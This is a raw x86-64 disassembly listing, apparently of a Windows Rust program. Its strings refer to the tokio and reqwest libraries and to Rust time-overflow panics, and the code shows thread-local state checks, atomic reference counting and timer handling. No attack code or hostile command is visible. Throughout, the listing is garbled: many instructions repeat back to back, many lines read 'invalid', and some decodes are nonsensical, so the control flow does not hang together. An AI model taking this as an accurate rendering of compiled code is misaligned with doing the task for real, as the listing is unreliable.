lea r8, [0x140142138]
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x38]
call fcn.140016570
cmc
dec dword [rax - 0x75]
and al, 0x20
cmc
dec dword [rax - 0x75]
and al, 0x20
movzx edx, byte [rsp + 0x30]
test rcx, rcx
je 0x1400b9469
mov al, 1
test dl, dl
jne 0x1400b946b
mov rsi, qword [rsp + 0x28]
cmp rcx, 1
cmp ecx, 1
je 0x1400b943f
sub byte [rax - 0x7d], cl
stc
add dword [rbp + 0x2d], esi
jne 0x1400b944f
cmp ecx, 1
jne 0x1400b944f
cmp byte [rsp + 0x31], 0
je 0x1400b944f
test byte [rsi + 0x34], 4
jne 0x1400b944f
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
and byte [rax - 0x75], r9b
sub byte [rax - 0x73], r9b
mov rax, qword [rsi + 0x28]
lea rdx, str._____
adc eax, 0x8b742
adc eax, 0x8b742
mov r8d, 1
mov eax, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
invalid
test cl, cl
push rax
sbb byte [rcx - 0x7bfe4f3f], cl
invalid
test cl, cl
add dword [rcx + rcx*8 - 0x74b7e38b], eax
and byte [rax - 0x75], r9b
sub byte [rax - 0x73], r9b
adc eax, 0x94c1a
jne 0x1400b946b
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014e078]
mov r8d, 1
add byte [rax], al
call qword [rax + 0x18]
jmp 0x1400b946b
mov eax, edx
test al, al
setne al
ror byte [rdi], 0x95
ror byte [rax - 0x7d], 0xc4
add rsp, 0x40
pop rsi
add rsp, 0x40
pop rsi
ret
movabs rax, 0x10813e63b9155cea
movabs rdx, 0x4bdcd2941f6e0859
xchg esp, eax
rcr ah, cl
ret
movzx eax, byte [rcx + 0x268]
add byte [rax], al
test eax, eax
je 0x1400b94c5
cmp eax, 3
je 0x1400b94cf
cmp eax, 4
jne 0x1400b953e
invalid
add byte [rax - 0x7f], cl
add rcx, 0x270
sal dword [rax + 2], 0
add byte [rax - 0x7d], cl
invalid
add rsp, 0x20
pop rsi
jmp fcn.1400ad510
lea rax, [rcx + 0x270]
mov rsi, rcx
mov rcx, rax
call fcn.1400ad510
dec dword [rax - 0x73]
mov cs, eax
add al, 0
add al, ch
movabs dword [0x8d48f08948000333], eax
lea rcx, [rsi + 0x4d0]
cmp qword [rsi + 0x4c8], 0
mov esi, 0x4c8
invalid
je 0x1400b9511
invalid
dec dword [rax - 0x73]
mov cs, eax
add al, 0
add al, ch
movabs dword [0x8d48f08948000333], eax
lea rcx, [rsi + 0x4d0]
invalid
invalid
mov esi, 0x4c8
enter 4, 0
add byte [rax + rdx + 0x48], dh
mov edx, dword [rcx]
adc byte [rax - 0x75], cl
adc eax, esi
mov rdx, qword [rcx]
lock dec qword [rdx]
dec qword [rdx]
jne 0x1400b9522
call fcn.140068890
jmp 0x1400b951f
invalid
invalid
mov rdx, qword [rcx]
lock dec qword [rdx]
jne 0x1400b9522
call fcn.140069420
add edi, edi
cli
dec dword [rax - 0x77]
invalid
mov rax, rsi
mov rdx, qword [rax + 0x510]
test rdx, rdx
je 0x1400b953e
nop
adc byte [0xc553952b], al
test rdx, rdx
je 0x1400b953e
mov rcx, qword [rax + 0x518]
mov rcx, qword [rax + 0x518]
add rsp, 0x20
pop rsi
jmp qword [rdx + 0x18]
sbb byte [rax + 0x20c48348], dl
nop
add rsp, 0x20
pop rsi
ret
int3
int3
push rdi
push r14
push r13
push rbp
push rbp
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x5d8
movdqa xmmword [rsp + 0x5c0], xmm6
jg 0x1400b951b
and al, 0xc0
add eax, 0x894c0000
add byte [rax], al
mov rbx, r8
mov rdi, rdx
mov rsi, rcx
movzx eax, byte [rdx + 0x268]
lea rcx, [0x140178ab4]
or eax, dword [rax]
jg 0x1400b951b
and al, 0xc0
add eax, 0x894c0000
add byte [rax], al
mov rbx, r8
or eax, dword [rax]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rcx, [rsp + 0x368]
mov r8d, 0x258
mov eax, 0x258
mov word [rax + rbp*2], fs
add eax, dword [rax]
add byte [rcx - 0x48], al
mov eax, 0x258
mov rdx, rdi
mov eax, 0x258
mov rdx, rdi
call fcn.140106530
mov ebp, dword [rdi + 0x260]
add al, byte [rax]
add byte [rcx - 0x6535ff03], al
cmp ebp, 0x3b9aca00
jne 0x1400b961d
cmp ebp, 0x3b9aca00
jne 0x1400b961d
lea rcx, [rdi + 0x270]
mov r8d, 0x258
mov rdx, rdi
call fcn.140106530
lea r14, [rdi + 0x270]
jo 0x1400b95cc
add byte [rax], al
lea rcx, [rsp + 0x30]
mov rdx, r14
mov r8, rbx
call fcn.1400ae8a0
movzx r15d, byte [rsp + 0x41]
cmp r15b, 3
jne 0x1400b95f3
mov byte [rsi + 0x11], 3
adc dword [rbx], r8d
mov al, 4
jmp 0x1400b9a05
movdqa xmm6, xmmword [rsp + 0x30]
movzx ebx, byte [rsp + 0x40]
mov eax, dword [rsp + 0x42]
mov eax, dword [rsp + 0x42]
mov dword [rsp + 0x20], eax
movzx eax, word [rsp + 0x46]
mov word [rsp + 0x24], ax
mov rcx, r14
int1
int1
call fcn.1400ad510
jmp 0x1400b99e8
mov r14, qword [rdi + 0x258]
call fcn.1400df770
add rax, r14
jae 0x1400b968f
add eax, 0x38640900
jb 0x1400b9a36
mov r8d, edx
cmp edx, 0x3b9aca00
jb 0x1400b9686
inc rax
je 0x1400b9a36
add r8d, 0xc4653600
cmp r8d, 0x3b9aca00
jb 0x1400b9686
mov ecx, r8d
shr ecx, 9
imul rcx, rcx, 0x44b83
add al, 0
add al, 0
shr rcx, 0x27
add rax, rcx
jb 0x1400b9a4e
imul ecx, ecx, 0x3b9aca00
sub r8d, ecx
lea r9, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_time_sleep.rs
or eax, 0x96013
jmp 0x1400b96b1
lea rcx, [rsp + 0x30]
mov rdx, rax
ret 0xb2e8
stosb byte [rdi], al
add eax, dword [rax]
lea r14, [rsp + 0xa0]
lea rdx, [rsp + 0x368]
add byte [rax], al
mov r8d, 0x258
mov rcx, r14
call fcn.140106530
movups xmm0, xmmword [rsp + 0x30]
xor byte [rdi], cl
adc byte [rsp + 0x40], cl
xor byte [rdi], cl
adc byte [rsp + 0x40], cl
movups xmm2, xmmword [rsp + 0x50]
movups xmm3, xmmword [rsp + 0x60]
movups xmmword [rsp + 0x2f8], xmm0
add byte [rax], al
add byte [rax], al
movups xmmword [rsp + 0x308], xmm1
movups xmmword [rsp + 0x318], xmm2
add byte [rax], al
add byte [rax], al
movups xmmword [rsp + 0x328], xmm3
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [rsp + 0x338], xmm0
movups xmm0, xmmword [rsp + 0x80]
add byte [rdi], cl
adc dword [rsp + 0x348], eax
add byte [rdi], cl
adc dword [rsp + 0x348], eax
movdqu xmm0, xmmword [rsp + 0x90]
movdqu xmmword [rsp + 0x358], xmm0
lea rcx, [rdi + 0x270]
mov r8d, 0x2c8
mov rdx, r14
call fcn.140106530
int 4
invalid
int 4
add byte [rbp + rcx*4 - 0x49], cl
invalid
invalid
mov bh, 0x70
invalid
lea r14, [rdi + 0x270]
mov bh, 0x70
add al, byte [rax]
add byte [rbx + 0xc8bb305], cl
add byte [rbp + 0x48], ah
mov rcx, qword gs:[0x58]
add byte [rax], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400b97ac
test eax, eax
jne 0x1400b97d9
mov eax, dword [0x140182314]
mov ecx, dword [rax + rax]
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
lea rcx, [r15 + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
scasd eax, dword [rdi]
add dword [rax], eax
scasd eax, dword [rdi]
add dword [rax], eax
mov byte [r15 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
and eax, 0x58
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
and eax, 0x58
and eax, 0x58
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x11c], 0
setne cl
cmp byte [rax + 0x11d], 0
sete r12b
and r12b, cl
int3
jmp 0x1400b97dc
int3
xor r12d, r12d
lea r15, [rdi + 0x4c8]
lea rcx, [rsp + 0x30]
and al, 0x30
and al, 0x30
mov rdx, r14
mov r8, rbx
mov r8, rbx
call fcn.1400ae8a0
movzx ebp, byte [rsp + 0x41]
cmp ebp, 3
add ecx, dword [rdi]
invalid
xchg edi, eax
add byte [rax], al
invalid
add ecx, dword [rdi]
test dword [rdi - 0x75000000], edx
mov eax, dword [0x140182314]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je case.0x14009ea2d.119
test eax, eax
jne 0x1400b9888
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov r13, qword [rcx + rax*8]
lea rcx, [r13 + 0xd0]
lea rdx, [0x1400e4030]
jmp 0x1400b97ea
add al, byte [rax]
call fcn.1400d4720
mov byte [r13 + 0x120], 1
jmp 0x1400b97ea
mov eax, dword [0x140182314]
mov cl, byte [rax + rax]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r13d, byte [rax + 0x11c]
test r13b, r13b
sete cl
cmp byte [rax + 0x11d], 0
setne al
or al, cl
enter 0x841, 0xffffffffffffffc4
enter 0x841, 0xffffffffffffffc4
cmp r12b, 1
jne 0x1400b98ba
mov rdx, qword [rbx]
mov rcx, r15
call fcn.1400f43e0
jmp 0x1400b9948
movdqa xmm6, xmmword [rsp + 0x30]
movzx ebx, byte [rsp + 0x40]
mov eax, dword [rsp + 0x42]
mov dword [rsp + 0x28], eax
movzx eax, word [rsp + 0x46]
and al, 0x46
mov word [rsp + 0x2c], ax
jmp 0x1400b9957
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r12, qword [rcx + rax*8]
mov byte [r12 + 0x11c], 0
mov rdx, qword [rbx]
mov rcx, r15
call fcn.1400f43e0
movzx ecx, byte [r12 + 0x120]
cmp ecx, 1
je 0x1400b9927
test ecx, ecx
jne 0x1400b9948
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov r12, qword [rdx + rcx*8]
lea rcx, [r12 + 0xd0]
rol byte [rax], 1
add byte [rax], al
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e4030]
mov ebx, eax
call fcn.1400d4720
mov eax, ebx
mov byte [r12 + 0x120], 1
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
mov rcx, qword [rdx + rcx*8]
mov byte [rcx + 0x11c], r13b
mov byte [rcx + 0x11d], 0
test al, al
je 0x1400b9957
mov byte [rsi + 0x11], 3
mov al, 3
jmp 0x1400b9a05
mov rcx, r14
call fcn.1400ad510
dec dword [rcx + rcx*4 - 7]
dec dword [rcx + rcx*4 - 7]
call fcn.1400ec890
add eax, dword [rax]
lea rcx, [rdi + 0x4d0]
cmp qword [rdi + 0x4c8], 0
je 0x1400b9988
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400b9996
call fcn.140068890
jmp 0x1400b9996
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400b9996
call fcn.140069420
mov rax, qword [rdi + 0x510]
test rax, rax
je 0x1400b99ac
mov rcx, qword [rdi + 0x518]
call qword [rax + 0x18]
mov r15b, 2
cmp ebp, 2
je 0x1400b99e8
cmp ebp, 3
jne 0x1400b99d3
add esi, dword [rbp + 0x1a]
lea rax, [0x14013e068]
movq xmm0, rax
movdqa xmm6, xmmword [0x140113a80]
punpcklqdq xmm6, xmm0
jmp 0x1400b99e8
movzx eax, word [rsp + 0x2c]
mov word [rsp + 0x24], ax
mov eax, dword [rsp + 0x28]
mov dword [rsp + 0x20], eax
mov r15d, ebp
mov edi, ebp
mov edi, ebp
movdqu xmmword [rsi], xmm6
mov byte [rsi + 0x10], bl
mov byte [rsi + 0x11], r15b
mov eax, dword [rsp + 0x20]
mov dword [rsi + 0x12], eax
movzx eax, word [rsp + 0x24]
and al, 0x24
mov word [rsi + 0x16], ax
mov al, 1
mov byte [rdi + 0x268], al
mov rax, rsi
movaps xmm6, xmmword [rsp + 0x5c0]
and al, 0xc0
add eax, 0x81480000
invalid
fadd dword [0x19d669a1f]
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
and al, 0xc0
add eax, 0x81480000
invalid
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_srcconnect.rs
call fcn.140108b60
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea r8, [0x14014a670]
or al, 9
add byte [rdx + 0x28], bh
or al, 9
add byte [rdx + 0x28], bh
call fcn.140108990
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrarycore_src_time.rs
lea rcx, [rsp + 0x30]
call fcn.140108560
ud2
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
test eax, eax
je 0x1400c0580
cmp eax, 1
je 0x1400c05a9
mov rcx, r14
mov rdx, r12
call fcn.1400c1b50
jmp 0x1400c063d
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
mov rdx, r15
call fcn.1400d4720
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
movzx ebp, byte [rbx + 0x11c]
movzx r13d, byte [rbx + 0x11d]
mov word [rbx + 0x11c], 0x8001
mov rcx, r14
mov rdx, r12
call fcn.1400c1b50
movzx ecx, byte [rbx + 0x120]
cmp ecx, 1
je 0x1400c061c
test ecx, ecx
jne 0x1400c063d
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rsi, qword [rdx + rcx*8]
lea rcx, [rsi + 0xd0]
mov rdx, r15
mov ebx, eax
call fcn.1400d4720
mov eax, ebx
fadd st(6)
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
fadd st(6)
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov byte [rcx + 0x11c], bpl
mov byte [rcx + 0x11d], r13b
test al, al
je 0x1400c064b
call fcn.1400e7e70
jmp 0x1400c0540
lea rcx, [rsp + 0x1c0]
call fcn.1400c2760
mov rax, qword [rsp + 0x128]
mov rcx, qword [rsp + 0x130]
call qword [rax + 0x18]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400c06bf
test eax, eax
jne 0x1400c17db
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rsi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x11e], 2
je 0x1400c16fe
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11e], 2
cmp dword [rax + 0x110], 0
jne 0x1400c0707
call fcn.1400e3e70
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov dword [rax + 0x110], 1
mov ecx, dword [rsp + 0x80]
mov dword [rax + 0x114], ecx
mov dword [rax + 0x118], edi
lea rcx, [rsp + 0x30]
call fcn.1400e66e0
mov rax, qword [rsp + 0x30]
cmp rax, 2
je 0x1400c135a
test rax, rax
je 0x1400c131b
mov rax, qword [rsp + 0x38]
lock dec qword [rax]
jne 0x1400c135a
invalid
add byte [rax - 0x73], cl
and al, 0x38
lea rcx, [rsp + 0x38]
call fcn.140068890
jmp 0x1400c135a
or al, 0
mov r8, qword gs:[0x58]
mov rcx, qword [r8 + rcx*8]
mov dword [rcx + 0x110], 1
mov dword [rcx + 0x114], esi
add byte [rcx + 0x118b9], cl
add byte [rax - 0x7d], cl
mov ecx, 0xd0
add byte [rdi], cl
test dword [rdi], edi
sldt word [rax]
add byte [rcx + 0x118b9], cl
add byte [rax - 0x7d], cl
mov ecx, 0xd0
add byte [rdi], cl
test dword [rdi], edi
sldt word [rax]
mov ecx, dword [0x140182314]
mov r8, qword gs:[0x58]
add byte [rbp + 0x4c], ah
mov eax, dword [0x58]
mov rcx, qword [r8 + rcx*8]
mov qword [rcx + 0xd0], 0xffffffffffffffff
mov rcx, qword [rsp + 0x110]
mov r10, qword [rsp + 0x108]
mov r8d, 1
mov r9d, 1
lock xadd qword [rcx], r9
test r10, r10
je 0x1400c0801
test r9, r9
jns 0x1400c080d
jmp 0x1400c16b2
test r9, r9
js 0x1400c16b2
xor r8d, r8d
mov r9d, dword [0x140182314]
mov r10, qword gs:[0x58]
mov r11, qword [r10 + r9*8]
mov r9, qword [r11 + 0xd8]
add byte [rbp - 0x75], cl
xchg ebx, eax
loopne 0x1400c082d
add byte [rax], al
add byte [rbp - 0x75], cl
xchg ebx, eax
loopne 0x1400c082d
add byte [rax], al
mov qword [r11 + 0xd8], r8
mov qword [r11 + 0xe0], rcx
mov dword [rbx + 0xe0], ecx
mov dword [rbx + 0xe0], ecx
inc qword [r11 + 0xd0]
mov rcx, qword [r11 + 0xe8]
cmp rcx, 0xffffffffffffffff
je 0x1400c183e
inc rcx
mov r8d, dword [0x140182314]
mov r11, qword gs:[0x58]
mov r8, qword [r11 + r8*8]
mov qword [r8 + 0xe8], rcx
mov qword [rsp + 0xb8], r9
mov qword [rsp + 0xc0], r10
mov qword [rsp + 0xc8], rcx
mov dword [rsp + 0xd0], eax
mov dword [rsp + 0xd4], edx
cmp qword [rsp + 0x108], 0
jne 0x1400c1875
xor esi, esi
xorps xmm6, xmm6
lea rdi, [rsp + 0x30]
lea rbx, [rsp + 0x170]
lea r14, [rsp + 0x1c0]
mov r12b, 1
nop word cs:[rax + rax]
xor eax, eax
xchg qword [rsp + 0x100], rax
xchg dword [rsp + 0x100], eax
xchg dword [rsp + 0x100], eax
test rax, rax
jne 0x1400c0c36
mov qword [rsp + 0x128], 2
mov rax, qword [rsp + 0xe0]
shr rax, 2
lea rdx, [rsp + 0x58]
movups xmmword [rdx - 0x18], xmm6
mov qword [rdx - 8], 0
add byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0xe0]
mov qword [rsp + 0x30], rcx
xor byte [rax - 0x77], cl
and al, 0x38
xor byte [rax - 0x77], cl
and al, 0x38
mov dword [rsp + 0x38], eax
movups xmmword [rdx], xmm6
mov byte [rdx + 0x10], 0
add byte [rbx + 0x1a12484], cl
add byte [rax], al
add byte [rbx + 0x1a12484], cl
add byte [rax], al
mov ecx, dword [rsp + 0x1a4]
mov dword [rdx + 0x14], ecx
mov dword [rdx + 0x11], eax
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x128]
test rax, rax
jne 0x1400c0969
call fcn.1400e7b50
test rax, rax
je 0x1400c1686
mov rax, qword [rax]
lock inc qword [rax]
jle 0x1400c16b2
test rax, rax
je 0x1400c1686
add rax, 0x10
lea rcx, [0x14014cff0]
mov qword [rsp + 0x170], rcx
mov qword [rsp + 0x178], rax
js 0x1400c0996
add byte [rax], al
js 0x1400c0996
add byte [rax], al
add bl, ch
adc eax, 0x801f0f
add byte [rax], al
add byte [rax + 0xf41f001], dh
cmpxchg byte [r13], sil
jne 0x1400c0bc5
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
jmp 0x1400c09ae
mov al, 1
lock cmpxchg byte [r13], sil
cmpxchg byte [r13], sil
cmpxchg byte [r13], sil
jne 0x1400c0bc5
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400c0a02
mov r13b, 2
test eax, eax
jne 0x1400c0a2e
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
lea rcx, [r15 + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [r15 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r13d, byte [rax + 0x11c]
movzx r15d, byte [rax + 0x11d]
mov word [rax + 0x11c], 0x8001
mov rcx, rdi
mov rdx, rbx
call fcn.1400f3b80
test al, al
je 0x1400c0a60
mov rcx, r14
mov rdx, rbx
call fcn.1400c1b50
mov ebp, eax
inc bpl
cmp r13b, 2
jne 0x1400c0a68
jmp 0x1400c0ae3
xor ebp, ebp
cmp r13b, 2
je 0x1400c0ae3
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400c0ac2
test eax, eax
jne 0x1400c0ae3
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r12, r14
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [r14 + 0x120], 1
mov r14, r12
mov r12b, 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], r13b
mov byte [rax + 0x11d], r15b
cmp bpl, 2
jne 0x1400c0be0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r15, qword [rax + 0x128]
test r15, r15
je 0x1400c0b20
mov eax, 2
lock cmpxchg qword [r15 + 0x10], rsi
je 0x1400c09ae
jmp 0x1400c0b42
call fcn.1400e7b50
test rax, rax
je 0x1400c1569
mov r15, qword [rax]
mov eax, 2
lock cmpxchg qword [r15 + 0x10], rsi
je 0x1400c09ae
lea r13, [r15 + 0x20]
xor eax, eax
lock cmpxchg byte [r15 + 0x20], r12b
jne 0x1400c0b93
xor eax, eax
mov ecx, 1
lock cmpxchg qword [r15 + 0x10], rcx
jne 0x1400c0bb0
lea rbp, [r15 + 0x18]
nop word cs:[rax + rax]
mov rcx, rbp
mov rdx, r13
mov r9d, 0x3b9aca00
call fcn.140048d70
mov eax, 2
lock cmpxchg qword [r15 + 0x10], rsi
jne 0x1400c0b70
jmp 0x1400c09a0
mov rcx, r13
call fcn.14010b5f0
xor eax, eax
mov ecx, 1
lock cmpxchg qword [r15 + 0x10], rcx
je 0x1400c0b5f
nop word [rax + rax]
cmp rax, 2
jne 0x1400c15a1
xor eax, eax
xchg qword [r15 + 0x10], rax
jmp 0x1400c09a0
mov rcx, r13
call fcn.14010b250
jmp 0x1400c09ae
mov rax, qword [rsp + 0x170]
mov rcx, qword [rsp + 0x178]
call qword [rax + 0x18]
mov rcx, rdi
call fcn.1400f3910
mov rax, qword [rsp + 0x50]
test bpl, bpl
jne 0x1400c11f1
test rax, rax
je 0x1400c0c16
mov rcx, qword [rsp + 0x58]
call qword [rax + 0x18]
cmp dword [rsp + 0x128], 2
je 0x1400c08d0
lea rcx, [rsp + 0x128]
call fcn.1400c2670
jmp 0x1400c08d0
mov rcx, qword [rsp + 0x110]
lock inc qword [rcx]
jle 0x1400c16b2
mov qword [rsp + 0x128], 0
mov qword [rsp + 0x130], rcx
mov qword [rsp + 0x138], 0
mov qword [rsp + 0x140], rax
xorps xmm0, xmm0
lea rax, [rsp + 0x148]
movups xmmword [rax], xmm0
mov qword [rsp + 0x158], 8
mov qword [rsp + 0x160], 0
lea r9, [rsp + 0xe0]
mov qword [rsp + 0x168], r9
mov rax, qword [rsp + 0x128]
mov rcx, qword [rsp + 0x130]
mov rdx, qword [rsp + 0x138]
mov r8, qword [rsp + 0x140]
movups xmm1, xmmword [rsp + 0x148]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x70], r9
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x48], r8
movaps xmmword [rsp + 0x50], xmm1
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x30], 0
jne 0x1400c18ac
cmp qword [rsp + 0x40], 0
jne 0x1400c18ef
mov qword [rsp + 0x40], 0xffffffffffffffff
mov r12, qword [rsp + 0x48]
mov qword [rsp + 0x48], 0
test r12, r12
je 0x1400c18fb
mov qword [rsp + 0x40], 0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400c0d9b
test eax, eax
jne 0x1400c1913
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rsi + 0x120], 1
lea rbx, [rsp + 0x38]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x108]
mov qword [rsp + 0x80], rcx
mov qword [rax + 0x108], rdi
mov rax, qword [rsp + 0x38]
lea rcx, [rax + 0x10]
mov byte [rax + 0xb0], 1
lea rdx, [0x14014d618]
mov qword [rsp + 0x88], rdx
mov qword [rsp + 0x90], rcx
lea rdi, [0x1400e4030]
lea r14, [rsp + 0x1c0]
lea r15, [rsp + 0x88]
jmp 0x1400c0e2c
mov r8, qword [rsp + 0x38]
add r8, 0x10
mov rcx, rbx
mov rdx, r12
call fcn.1400ea2b0
mov r12, rax
mov rax, qword [rsp + 0x38]
xor ecx, ecx
xchg byte [rax + 0xb0], cl
test cl, cl
je 0x1400c0fb4
cmp qword [rsp + 0x40], 0
jne 0x1400c1515
mov qword [rsp + 0x40], 0xffffffffffffffff
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400c0e70
call fcn.140003d80
mov rax, qword [rsp + 0x40]
inc rax
jmp 0x1400c0e72
xor eax, eax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rax
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
test eax, eax
je 0x1400c0eb0
cmp eax, 1
je 0x1400c0ed9
mov rcx, r14
mov rdx, r15
call fcn.1400c1b50
jmp 0x1400c0f77
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
mov rdx, rdi
call fcn.1400d4720
mov byte [rsi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r12, qword [rcx + rax*8]
movzx esi, byte [r12 + 0x11c]
movzx ebp, byte [r12 + 0x11d]
mov word [r12 + 0x11c], 0x8001
mov rcx, r14
mov rdx, r15
call fcn.1400c1b50
movzx ecx, byte [r12 + 0x120]
cmp ecx, 1
je 0x1400c0f56
test ecx, ecx
jne 0x1400c0f77
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov r13, qword [rdx + rcx*8]
lea rcx, [r13 + 0xd0]
mov rdx, rdi
mov r12d, eax
call fcn.1400d4720
mov eax, r12d
mov byte [r13 + 0x120], 1
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov byte [rcx + 0x11c], sil
mov byte [rcx + 0x11d], bpl
cmp qword [rsp + 0x40], 0
jne 0x1400c14f1
mov qword [rsp + 0x40], 0xffffffffffffffff
mov r12, qword [rsp + 0x48]
mov qword [rsp + 0x48], 0
test r12, r12
je 0x1400c14fd
mov qword [rsp + 0x40], 0
test al, al
je 0x1400c11ba
mov r8, qword [rsp + 0x38]
mov ebp, dword [r8 + 0x40]
test ebp, ebp
je 0x1400c0e15
nop word cs:[rax + rax]
cmp byte [r12 + 0x68], 0
jne 0x1400c1521
inc dword [r12 + 0x60]
mov rdx, qword [rsp + 0x38]
add rdx, 0x10
mov rcx, r12
call fcn.1400e8100
test rax, rax
je 0x1400c1180
cmp qword [rsp + 0x40], 0
jne 0x1400c1515
mov r13, rax
mov qword [rsp + 0x40], 0xffffffffffffffff
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400c1030
call fcn.140003d80
mov rax, qword [rsp + 0x40]
inc rax
jmp 0x1400c1032
xor eax, eax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rax
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400c108b
mov r12b, 2
test eax, eax
jne 0x1400c10b6
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
mov rdx, rdi
call fcn.1400d4720
mov byte [rsi + 0x120], 1
